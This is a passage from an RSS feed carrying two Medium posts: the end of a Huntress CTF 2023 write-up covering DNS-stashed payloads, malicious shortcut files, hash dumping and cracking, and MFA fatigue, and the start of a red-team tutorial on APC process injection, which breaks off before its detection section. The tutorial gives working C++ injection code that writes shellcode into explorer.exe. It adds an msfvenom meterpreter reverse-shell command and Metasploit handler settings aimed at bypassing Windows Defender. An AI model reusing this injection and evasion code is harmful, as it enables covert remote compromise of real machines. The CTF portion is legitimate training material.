;<br>     if ($error.Count -eq 0) {<br>      $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings });<br>      Write-Host($5GMLW);<br>        if ($5GMLW -match &#39;^[-A-Za-z0-9+/]*={0,3}$&#39;) { <br>            Write-Host([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW)))<br>            } <br>        }<br>    } <br>catch { }</pre><p>Running the following line:</p><pre>Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }</pre><p>resulted in a base64 encoded string, base64 decoding it resulted in the flag.</p><p>The flag was: <strong><em>flag{409537347c2fae01ef9826c2506ac660}</em></strong></p><p>Indirect payload was more of a web challenge than anything. The data was hidden in the body of the redirect response. I made this one liner that would print the flag:</p><pre>curl -L --max-redirs 80 http://chal.ctf.games:31430/site/flag.php -v 2&gt;&amp;1 | grep &quot;GET&quot; | awk -v OFS=&#39;&#39; &#39;{print &quot;http://chal.ctf.games:31430&quot;,$3}&#39; | for line in $(&lt;/dev/stdin); do curl -s $line; done | sed &#39;s/.*is //&#39; | tr -d &#39;\n&#39;</pre><p>Since cURL won’t output the body of the response unless the URL is directly visited, the command first follows the redirects and outputs them so grep can be used to filter for the URL. Awk is used to join the two parts of the URL, which is then passed back to curl. Since this time, cURL directly visits the website, the body is shown, and after some formatting the flag is outputted.</p><p>The flag was: <strong><em>flag{448c05ab3e3a7d68e3509eb85e87206f}</em></strong></p><p>This concluded day 17.</p><h3>Day 18</h3><p>Day 18 challenges were:</p><ul><li>Who is Real?</li><li>Thumb Drive</li></ul><p>Who is Real? was a game where you had to choose between an image of an actual person and an image of a person generated by AI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0AZkaIEc-99ZarSeT4UFDw.png" /><figcaption>Example of a test</figcaption></figure><p>The challenge was fun and novel, but the implementation left things to be desired. First of all, the correct image was always on right side of the page. Secondly the website was vulnerable to a race condition where if you pressed one image multiple times it would be counted as multiple correct guesses, leading to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XFdu-k9PPDsX0RvA64K1FA.png" /><figcaption>It is what it is…</figcaption></figure><p>The flag was: <strong><em>flag{10c0e4ed5fcc3259a1b0229264961590}</em></strong></p><p>Thumb Drive was a malicious shortcut ( .lnk ) file. If inspected quickly, it wouldn’t seem malicious as it would only appear to open cmd.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*nwhV8zirEwTDt6FWJY3_Xg.png" /><figcaption>Nothing malicious…or is it?</figcaption></figure><p>Thumb Drive was a mallicious shortcut (.lnk) file. If inspected quickly, it wouldn’t seem malicious as it would only appear to open cmd.exe. However, as pointed out by this <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/">McAfee blog</a>, the target path property can only display 255 characters, while command line arguments can be up to 4096 characters. An attacker could pad out the 255 characters with blank spaces and then provide the malicious command.</p><p>The utility strings was used to see all strings inside the shortcut file:</p><pre>$ strings ADATA_128GB.lnk -e l<br>Windows<br>System32<br>cmd.exe<br>ADATA 128GB<br><br><br><br>        /V/R    CMD&lt;https://tinyurl.com/a7ba6ma<br>%windir%\System32\cmd.exe<br>S-1-5-21-394609149-2801146648-1994955949-3002</pre><p>Make note of the -e option which is used to print out Unicode strings. The link led to a Google Drive containing a text file that was base32 encoded. Base32 decoding the text resulted in a dll.</p><p>To actually obtain the flag, you needed to run the dll with rundll32.exe and provide any function as an entry point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*1I81CXhSduHbXOY7uibe4g.png" /><figcaption>The flag :) .</figcaption></figure><p>The flag was: <strong><em>flag{0af2873a74cfa957ccb90cef814cfe3d}</em></strong></p><p>This concluded day 18.</p><h3>Day 19</h3><p>Day 19 challenges were:</p><ul><li>Speakfriend</li><li>Operation Eradication</li></ul><p>Speakfriend was a “malware” challenge. It provided a compromised website and a binary that is associated with it. Opening the binary in Cutter resulted in an interesting string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*CweOrHZYl5InzBzis-w6DQ.png" /><figcaption>This appears to be a User-Agent string.</figcaption></figure><p>While the picture might depict a User-Agent string, it, by all means, isn’t ordinary. Hackers have in the past used custom User-Agent strings to access backdoors left during the initial compromise.</p><p>To access the flag, you had to provide the User-Agent string like this:</p><pre>curl https://chal.ctf.games:32479/ -H &quot;User-Agent: Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e&quot; -k -L</pre><p>The flag was: <strong><em>flag{3f2567475c6def39501bab2865aeba60}</em></strong></p><p>For Operation Eradication I suggest checking <a href="https://infosecstreams.com/huntress2023/miscellaneous/Operation-Eradication/">this write-up</a> by GoProSlowYo.</p><p>This concluded day 19.</p><h3>Day 20</h3><p>Day 20 challenges were:</p><ul><li>RAT</li><li>Welcome to the Park</li></ul><p>The easy way of obtaining the flag for the RAT challenge was to calculate the sha256 sum of it and look it up on VirusTotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxFOBYpVIw7NJTnijQd3zg.png" /><figcaption>The flag is visible under the behavior tab.</figcaption></figure><p>The flag was: <strong><em>flag{8b988b859588f2725f0c859104919019}</em></strong></p><p>While unzipping the challenge file for Welcome to the Park, I noticed a file under welcome/.hidden/welcomeToThePark . Running the file utility on it resulted with a Mach-O file:</p><pre>$ file welcome/.hidden/welcomeToThePark<br>welcome/.hidden/welcomeToThePark: Mach-O 64-bit arm64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;</pre><p>The result, paired with the hint that something was hiding amongst “Mach-O” files, led me to run strings on the mentioned file.</p><p>Strings found a base64 encoded string inside the binary. Base64 decoding the string resulted in an obfuscated XML script.</p><p>The XML script contained a link to <a href="https://gist.github.com/stuartjash/a7d187c44f4327739b752d037be45f01">https://gist.github.com/stuartjash/a7d187c44f4327739b752d037be45f01</a> , which in turn contained a picture named JohnHammond.png. Downloading the file and running strings on it resulted in the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*W65uIIxvGplQ0qeCLbmEYg.png" /><figcaption>JohnHammond.png</figcaption></figure><p>The flag was: <strong><em>flag{680b736565c76941a364775f06383466}</em></strong></p><p>This concluded day 20.</p><h3>DAY 21</h3><p>The day 21 challenge was:</p><ul><li>Snake Oil</li></ul><p>The Snake Oil challenge could be done in two ways. The first (easy) way was similar to the challenge of the previous day: calculate the sha256 sum, find it on VirusTotal, under “Community” find a link to the following <a href="https://tria.ge/231022-qb3afsac75/behavioral2">Triage report</a>, and you’d have the flag.</p><p>The hard way required you to reverse the binary from its exe format to its semi-original Python source code. The first step in that process was to use the following GitHub script to extract the pyc code. The pyc code is the compiled bytecode of the original Python script. You can then take that bytecode and use <a href="https://github.com/zrax/pycdc">this tool</a> to restore it to its source code.</p><p>Restoring the brain-melt file resulted in the following code:</p><pre>def decrypt(s1, s2):<br>    return &#39;&#39;.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0])(zip(s1, s2)))<br><br>def deobfuscate():<br>    part1 = &#39;2ec7627d{galf&#39;[::-1]<br>    part2 = str(base64.b64decode(&#39;NjIwM2I1Y2M2OWY0&#39;.encode(&#39;ascii&#39;)), &#39;UTF8&#39;)<br>    part3 = decrypt(&#39;\x17*\x07`BC\x14*R@\x14^*&#39;, &#39;uKeVuzwIexplW&#39;)<br>    key = part1 + part2 + part3<br>    return key</pre><p>The decompiler did a good job, although, for the code to execute you needed to alter the lambda name to something that doesn’t contain a dot. Something like this would work:</p><pre>def decrypt(s1, s2):<br>    return &#39;&#39;.join((lambda my_func: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in my_func])(zip(s1, s2)))</pre><p>Running the corrected code resulted in the flag.</p><p>The flag was: <strong><em>flag{d7267ce26203b5cc69f4bab679cc78d2}</em></strong></p><p>With this day 21 was finished.</p><h3>Day 22</h3><p>The day 22 challenge was:</p><ul><li>Batchobfuscation</li></ul><p>Batchobfuscation was an obfuscated batch script, as the name would suggest. The challenge was tedious since it required searching and replacing strings to start seeing the flag. The flag had to be reconstructed, which also was a PITA.</p><p>This <a href="https://www.huntress.com/blog/tried-and-true-hacker-technique-dos-obfuscation">Huntress article</a> explains the method used in the malware better than I ever could. It also explains how to reverse it, which was the main method I used to deobfuscate the script.</p><p>The flag was : <strong><em>flag{acad67e3d0b5bf31ac6639360db9d19a}</em></strong></p><p>This concluded day 22.</p><h3>Day 23</h3><p>The day 23 challenge was:</p><ul><li>Bad Memory</li></ul><p>Bad Memory was a memory capture of a Windows machine. The challenge required finding the password of a user. This task could be accomplished by using <a href="https://github.com/volatilityfoundation/volatility3">Volatility 3</a>. The user hashes can be extracted from the memory image with the following command:</p><pre>vol3 -f image/image.bin windows.hashdump.Hashdump</pre><p>The extracted hashes were:</p><pre>User    rid     lmhash  nthash<br><br>Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0<br>Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0<br>DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0<br>WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        4cff1380be22a7b2e12d22ac19e2cdc0<br>congo   1001    aad3b435b51404eeaad3b435b51404ee        ab395607d3779239b83eed9906b4fb92</pre><p>We see only one hash for a user account. Putting the NT hash for that user into <a href="https://crackstation.net/">CrackStation</a> resulted in the password goldfish# . Converting the password to an md5 hash and wrapping it with flag{} was the solution for the challenge.</p><p>The flag was: <strong><em>flag{2eb53da441962150ae7d3840444dfdde}</em></strong></p><p>This concluded day 23.</p><h3>Day 24</h3><p>The day 24 challenge was:</p><ul><li>Discord Snowflake Scramble</li></ul><p>This challenge required you to find a flag hidden on a discord server. You were given the following link: <a href="https://discord.com/channels/1156647699362361364/1156648139516817519/1156648284237074552">https://discord.com/channels/1156647699362361364/1156648139516817519/1156648284237074552</a>.</p><p>The challenge name hinted at “snowflakes”, which are unique IDs that Discord uses to identify everything from a channel to a message that was sent.</p><p>Luckily, there is the following <a href="https://discordtools.io/snowflake">website</a> that takes the “snowflake” and returns the corresponding channel. Inputting the first “snowflake” from the link above resulted in a Discord channel, which, when joined, displayed the flag.</p><p>The flag was: <strong><em>flag{bb1dcf163212c54317daa7d1d5d0ce35}</em></strong></p><p>This concluded day 24.</p><h3>Day 25</h3><p>The day 25 challenge was:</p><ul><li>BlackCat</li></ul><p>BlackCat was a malware challenge that required reversing. You were provided with a decrypt tool and the following note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*chD_eNx4vZh-gSreh4lVXA.png" /><figcaption>This is Cosmo, say hi :)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*-bHGhEmhL-_dWDv6avFL_A.jpeg" /><figcaption>I mean it.</figcaption></figure><p>The note is more important than you think. It mentions “military-grade encryption” which is a meme term for XOR encryption. Additionally, there are some well-known files encrypted, like the Windows XP background image and the entire text of Hamlet.</p><p>A quick lesson on XOR is in order. The XOR operation takes an input and a key to produce an XORed output.</p><p>input_string ⊕ key = “xored_string”</p><p>The trick to this challenge was the fact that XOR of the input_string and the “xored_string” results in the key:</p><p>input_string ⊕ “xored_string” = key</p><p>This means we could obtain the key by doing the XOR operation between an encrypted file and its original. Thankfully, the challenge had a bunch of well-known files you could use as an original. I used this <a href="https://upload.wikimedia.org/wikipedia/en/2/27/Bliss_(Windows_XP).png">Windows XP background image</a> combined with the following Python code:</p><pre>import sys #check if this is needed<br><br>file1 = bytearray(open(&#39;./Bliss_Windows_XP.png&#39;, &#39;rb&#39;).read())<br>file2 = bytearray(open(&#39;./Bliss_Windows_XP.encry.png&#39;, &#39;rb&#39;).read())<br><br>size = len(file1) if len (file1) &lt; len(file2) else len(file2)<br>xord_bytes_array = bytearray(size)<br><br>for i in range(size):<br>  xord_bytes_array[i] = file1[i] ^ file2[i]<br><br>print(xord_bytes_array)</pre><p>The output of the script was the key, which, when used with the decrypt tool resulted in the flag. The key was cosmoboi .</p><p>The flag was: <strong><em>flag{092744b55420033c5eb9d609eac5e823}</em></strong></p><p>This concluded day 25.</p><h3>Day 26</h3><p>The day 26 challenge was:</p><ul><li>MFAtigue</li></ul><p>The challenge provided you with an NTDS.dit file and a SYSTEM file. I was able to extract user hashes using impackets secretsdump with the following syntax:</p><pre>impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile creds.txt</pre><p>This resulted in several hashes, which I threw into CrackStation to see if I’d get someone’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0e6mWkgLbzldCCnWuGixg.png" /><figcaption>Crackstation returned the password for one hash.</figcaption></figure><p>The password belonged to the JILLIAN_DOTSON user. Logging in with the username and password prompted for MFA. I remembered the Uber compromise, where attackers bypassed MFA by repeatedly sending MFA messages until the user was overloaded and accepted one such request.</p><p>Sending multiple MFA requests was the correct path, and once logged in the flag was displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*MdS8hO7C8N0UdixVd0BCWw.png" /><figcaption>You can also make the connection between the challenge name and the correct path.</figcaption></figure><p>The flag was: <strong><em>flag{9b896a677de35d7dfa715a05c25ef89e}</em></strong></p><p>This concluded day 26</p><h3>Day 27</h3><p>The day 27 challenge was:</p><ul><li>Crab Rave</li></ul><p>The challenge consisted of a shortcut file and a dll. The shortcut file would trigger the dll.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*r1B_K4oP5fFIdy8HMolYNA.png" /><figcaption>Result of the strings command.</figcaption></figure><p>The DLLMain function contained only the NtCheckOSArchitecture function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*IlmgcTDP6ABc2je5iMySGQ.png" /><figcaption>DLLMain as seen with Ghidra.</figcaption></figure><p>The NtCheckOSArchtirecture, in turn, contained the following code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*0SGANXOfKLHEE-FnkD6xCg.png" /><figcaption>We see a call to litcrypt_internal::decrypt_bytes.</figcaption></figure><p>The function used in this code block is implemented in <a href="https://github.com/anvie/litcrypt.rs/blob/2f3c75e9527076a151f08b4ec438799a027ee985/src/litcrypt.rs#L159">this repository</a>. The function performs an XOR operation using an input and a key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*G1nNd5IP1LenMx1fyBlGcw.png" /><figcaption>Military grade encryption.</figcaption></figure><p>Looking back at the disassembly, it would seem that the data inside the pointer to DAT_103cd938 and DAT_103cd946 is XOR’ed with the key rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-r .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*drqtRfTJ-Pzmu-ubfiPlvA.png" /><figcaption>The data inside the two pointers.</figcaption></figure><p>Taking the data and putting it into CyberChef results in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wx6sLxquc_AFmOZQSDtyHg.png" /><figcaption>M.yeomans30801 could be a username.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*wxXcVZN1szBgkt7XzeiHzQ.png" /><figcaption>And this could be a hostname.</figcaption></figure><p>The binary seems to check if the username and hostname match the username and hostname of the executing machine. To check the theory, I changed the hostname of my FlareVM by opening Settings (<em>Windows </em>+ I) -&gt; System -&gt; About -&gt; Rename this PC and changed it to WIN-DEV-13 .</p><p>Additionally, I created a new user by going to Settings (<em>Windows </em>+ I) -&gt; Accounts -&gt; Other users -&gt; Add account. When adding the account select <strong>I don’t have this person’s sign-in information</strong>, and <strong>Add a user without a Microsoft account</strong>. The username for the new account was m.yeomans30801 .</p><p>Logging in as that user and running the dll with the following command:</p><pre>rundll32.exe ntoscheck.dll,DLLMain</pre><p>resulted in a notepad process spawning and a message box appearing with the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*_UQCdXDUl_XPclw64Vh6CQ.png" /><figcaption>The flag.</figcaption></figure><p>The flag was: <strong><em>flag{225215e04306f6a3c1a59400b054b0df}</em></strong></p><p>This concluded day 27.</p><h3>Day 28</h3><p>The day 28 challenge was:</p><ul><li>Snake Eater II</li></ul><p>For this challenge I’d advise you look <a href="https://infosecstreams.com/huntress2023/malware/Snake-Eater-II/">at the write-up</a> made by GoProSlowYo here.</p><p>Shout out to Taggart as he was the one to solve this for our team.</p><h3>Day 29</h3><p>The day 29 challenge was:</p><ul><li>BlackCat II</li></ul><p>This challenge was an advanced version of the previous BlackCat challenge. The challenge consisted of a decryptor and a bunch of encrypted files, one of them being the flag.</p><p>The decryptor was written in C#, so I opened the file in dnSpy and found the following code:</p><pre>// Decryptor.DecryptorUtil<br>// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250<br>public static void DecryptFiles(string directoryPath, string decryptionKey)<br>{<br>    string[] files = Directory.GetFiles(directoryPath, &quot;*.encry&quot;);<br>    if (files.Length == 0)<br>    {<br>        return;<br>    }<br>    string text = null;<br>    foreach (string text2 in files)<br>    {<br>        string text3;<br>        if (text == null)<br>        {<br>            text3 = decryptionKey;<br>        }<br>        else<br>        {<br>            text3 = DecryptorUtil.CalculateSHA256Hash(text);<br>        }<br>        string text4 = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(text2) + &quot;.decry&quot;);<br>        DecryptorUtil.AESDecryptFile(text2, text4, text3, DecryptorUtil.hardcodedIV);<br>        text = text4;<br>    }<br>    Console.WriteLine(&quot;[*] Decryption completed.&quot;);</pre><p>The code would use the sha256 hash of the original file as the key. This meant I had to find the original files, and after a lot of search I found the following website <a href="https://www.atxfinearts.com/blogs/news/100-most-famous-paintings-in-the-world">https://www.atxfinearts.com/blogs/news/100-most-famous-paintings-in-the-world</a> .</p><p>I downloaded the images by right-clicking on the image and Save As . I saved them with the following extension and type:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ba6cTRdjZjF4JO272RvGQg.png" /><figcaption>I didn’t test if the image needed to be saved like this, I did it just so the original would have a .jpg extension.</figcaption></figure><p>Finally, I calculated the sha256 hash of the first picture loaded by the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sqJf5vyDwYU_clY9.png" /><figcaption>An00bRektn had already found the order in which the files were loaded.</figcaption></figure><p>Inputting the sha256 hash of the first image as a our password resulted in a successful decryption.</p><p>The sha256 hash was:</p><pre>80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DbRLazWCHQ_g88nKI13QTQ.png" /><figcaption>We get a note that files are decrypted, let’s check.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*8Vs01Bpx_Eyv-NOa9QUIYA.png" /><figcaption>And we got the flag.</figcaption></figure><p>The flag was: <strong><em>flag{03365961aa6aca589b59c683eecc9659}</em></strong></p><p>And with that, the final challenge is done.</p><h3>Conclusion</h3><p>It was a fun month, learned a lot from the team and the CTF. My only criticism would be to reduce the duration of the CTF since after 30 days you start to feel fatigued. All in all, thank you for the great CTF Huntress Staff, and thanks to the great people who were with me in the team. I’ll be taking some well deserved rest now.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac99d4aa8738" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/huntress-ctf-2023-write-up-ac99d4aa8738">Huntress CTF 2023 — Write-up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Process Injection Series Part III: APC Injection]]></title>
            <link>https://medium.com/@Echo_Slow/process-injection-series-part-iii-apc-injection-28dfa72be7f8?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/28dfa72be7f8</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[av-evasion]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Fri, 06 Oct 2023 09:37:07 GMT</pubDate>
            <atom:updated>2023-10-06T09:37:07.186Z</atom:updated>
            <content:encoded><![CDATA[<p>Using MITRE technique T1055.004 to bypass Windows Defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lrx3AGfW6fGbO-DRqR7HlA.png" /></figure><p>Welcome to a new installment of the Process Injection Series. Today’s blog post will cover APC injection, detail how it works, use it to avoid antivirus, and at the end show how to detect such an attack.</p><h3><strong>*Mandatory Disclaimer*</strong></h3><p>Methods and code shown in this series are solely to be used as learning examples. I take no responsibility for the misuse of the methods and code shown.</p><h3><strong>Contents</strong></h3><ul><li><a href="#b9b9">What is APC injection</a></li><li><a href="#89e5">Writing the code for APC injection</a></li><li><a href="#064e">Avoiding AV</a></li><li><a href="#8077">Detection of APC injection</a></li><li><a href="#804b">Conclusion</a></li></ul><h3>What is APC injection</h3><p>APC injection takes advantage of <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a>. These functions allow a program that has started an operation to be notified of its completion. As such APCs are a type of <em>software </em>interrupt since they have to be able to alter the primary execution path of a program. For example, the Windows API function <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfileex">ReadFileEx</a> allows a user to write some code that will execute when the I/O operation is finished. To achieve that the I/O operation has to find a way to get back to the thread that initially called <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfileex">ReadFileEx</a>. This in turn is achieved by queuing an APC to the thread that made the I/O call.</p><p>We can schedule an APC, but that APC will only be executed once the APC is delivered to the thread, and such callbacks are only delivered when the thread is in an <strong><em>alertable wait state</em></strong>. The thread will either naturally enter an<em> </em><strong><em>alertable wait state</em></strong> or we can force it by using the function <a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleepex">SleepEx</a>.</p><h3>Writing the code for APC injection</h3><p>In this section, we will cover how to perform APC injection. As always the code will be available on my <a href="https://github.com/EchoSl0w/Process_Injection_Techniques/blob/main/WinAPIs/T1055.004/Source.cpp">GitHub</a>. While at it you can check the previous installments of this series <a href="https://medium.com/bugbountywriteup/process-injection-series-part-ii-dll-injection-628591b26e0a">here</a> and <a href="https://medium.com/bugbountywriteup/process-injection-series-part-i-pe-injection-615b761513fe">here</a>.</p><p>To start off we’ll change the code from previous injections. This time, instead of providing a target PID, we’ll find the target process automatically. In this case, we’ll use the explorer.exe process.</p><pre> hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);<br> if (hSnapshot == &quot;INVALID_HANDLE_VALUE&quot;) {<br>  return Error(&quot;Failed in creating snapshot.&quot;);<br> }<br> printf(&quot;Obtained snapshot.\n&quot;);<br><br> printf(&quot;Finding target process.\n&quot;);<br> if (Process32First(hSnapshot, &amp;processEntry)) {<br>  while (_wcsicmp(processEntry.szExeFile, L&quot;explorer.exe&quot;) != 0) {<br>   Process32Next(hSnapshot, &amp;processEntry);<br>  }<br> }</pre><p>To achieve this you can use the <a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot">CreateToolhelp32Snapshot</a> function to get a snapshot of all processes running on the system. This function takes just 2 arguments:</p><ul><li>dwFlags which tells the function which part of the system to include in the snapshot</li><li>and th32ProcessID which can be set to 0.</li></ul><p>The flags for the first argument can be found on the MSDN website of the function, but the two used here tell the function to take a snapshot of all processes and threads on the system.</p><p>Once we have a snapshot we can iterate over the snapshot with <a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first">Process32First</a>and <a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next">Process32Next</a>. These 2 functions take the same arguments:</p><ul><li>a handle to a snapshot</li><li>and pointer to <a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32">PROCESSENTRY32</a> structure.</li></ul><p>Process32Nextiterates over the snapshot, while Process32Firstgrabs the first element of the snapshot. Why there are 2 functions for this I don’t know.</p><p>Once we have a snapshot, we iterate over it searching for a process that is equal to explorer.exe.</p><p>Having found the target process, we can move to the next stage which is setting up the target process for injection:</p><pre> hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);<br> if (!hProcess) {<br>  Error(&quot;Failed in getting a handle to target process.&quot;);<br> }<br> printf(&quot;Obtained handle to process %p.\n&quot;, hProcess);<br><br> lpShellAddress = VirtualAllocEx(hProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> if (!lpShellAddress) {<br>  Error(&quot;Failed to allocate memory.&quot;);<br> }<br> printf(&quot;Allocated memory!\n&quot;);<br><br> PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)lpShellAddress;<br><br> if (!WriteProcessMemory(hProcess, lpShellAddress, buf, shellSize, NULL)) {<br>  Error(&quot;Failed in writing shellcode to memory.&quot;);<br> }</pre><p>In this stage we first open a handle to the target process via <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a>, this function takes the following arguments:</p><ul><li>Desired access to the process, in this case, we want full access.</li><li>The second argument is about the inheritance of the handle, we have no use for that so can be set to 0 or FALSE.</li><li>The third argument is the PID of the target process, we obtained this in the previous step.</li></ul><p>Upon successful execution, the function returns a handle to the process. With that, we can allocate the space needed for our shellcode. We do this through <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">VirtualAllocEx</a> and the following arguments:</p><ul><li>The first argument is a handle to the process</li><li>The second argument can be set to 0 as it’s optional and just says where to start the memory allocation</li><li>The third argument is the size of the memory to allocate, in our case it’s the size of our shellcode</li><li>The fourth argument determines what kind of memory we want to allocate</li><li>The fifth argument is the memory permissions on that memory region. In our case, we need RWX since we have to execute the shellcode</li></ul><p>After allocating the memory we use WriteProcessMemory to write our shellcode in the allocated memory space. The arguments for the function are the following:</p><ul><li>The first argument is the handle to the process</li><li>The second argument is a pointer to the start of the memory space</li><li>The third argument is a pointer to the data that will be written, in our case to our shellcode buffer</li><li>The fourth argument is the size of the data that will be written</li><li>The fifth argument is optional and is a pointer to a variable which would receive the number of bytes written</li></ul><p>The next step is finding the threads of the target process and scheduling our APC.</p><pre> PTHREAD_STACK lpThreads = new THREAD_STACK();<br> do {<br>  if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {<br>   hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadEntry.th32ThreadID);<br>   if (hThread != NULL) {<br>    lpThreads-&gt;push(&amp;hThread);<br>   }<br>  }<br> } while (Thread32Next(hSnapshot, &amp;threadEntry));<br><br> if (lpThreads == nullptr || lpThreads-&gt;size() == 0x0) {<br>  Error(&quot;No available threads.&quot;);<br> }<br><br><br> while (!lpThreads-&gt;empty()) {<br>  hThread = *lpThreads-&gt;top();<br>  QueueUserAPC((PAPCFUNC)lpShellAddress, hThread, NULL);<br>  CloseHandle(hThread);<br>  Sleep(200);<br>  lpThreads-&gt;pop();<br> }</pre><p>We first create a new THREAD_STACK and then iterate over our snapshot comparing the PID of the thread owner to the PID of our target process. If they match we try to get access to the thread via <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthread">OpenThread</a> and the following arguments:</p><ul><li>THREAD_SET_CONTEXT which is needed to be able to write to the thread</li><li>FALSE for the inherited handle value</li><li>and the thread ID</li></ul><p>If the opened thread is not NULL we push the value to the created stack.</p><p>Once we have a full list we move to scheduling the APCs. For this purpose, we use QueueUserAPC which takes the following arguments:</p><ul><li>A pointer to the function which will be executed once the thread performs an alertable wait</li><li>The thread that will queue our APC</li><li>And a pointer to eventual parameters we want to pass to the function from argument one</li></ul><p>With this we have everything needed to perform our injection…or almost everything.</p><h3>Avoiding AV</h3><p>Continuing on the last part, we have to find a way to bypass AV, in this case, Windows Defender.</p><p>To achieve this we first need to generate our shellcode. For this purpose, msfvenom will suffice. We can generate our shellcode with:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=&lt;YOUR IP&gt; lport=&lt;PORT&gt; -f c</pre><p>We won’t be using any encoders, but this shellcode on its own will be detected. To bypass detection we can again use the xor script available <a href="https://github.com/EchoSl0w/Process_Injection_Techniques/blob/main/WinAPIs/T1055.002/xor_enc.cpp">here</a>.</p><p>Additionally, we declare our buffer as a global variable and that moves our shellcode from the .text section of the PE to the .data section.</p><p>As a final touch, we set autoloadstdapi to false, and use a stage encoder for additional evasion on our second stage.</p><pre>msf6 exploit(multi/handler) &gt; set payload windows/x64/meterpreter/reverse_tcp<br>payload =&gt; windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(multi/handler) &gt; set autoloadstdapi false<br>autoloadstdapi =&gt; false<br>msf6 exploit(multi/handler) &gt; set stageencoder ppc/longxor<br>stageencoder =&gt; ppc/longxor<br>msf6 exploit(multi/handler) &gt; run</pre><p>And the final demo:</p><iframe 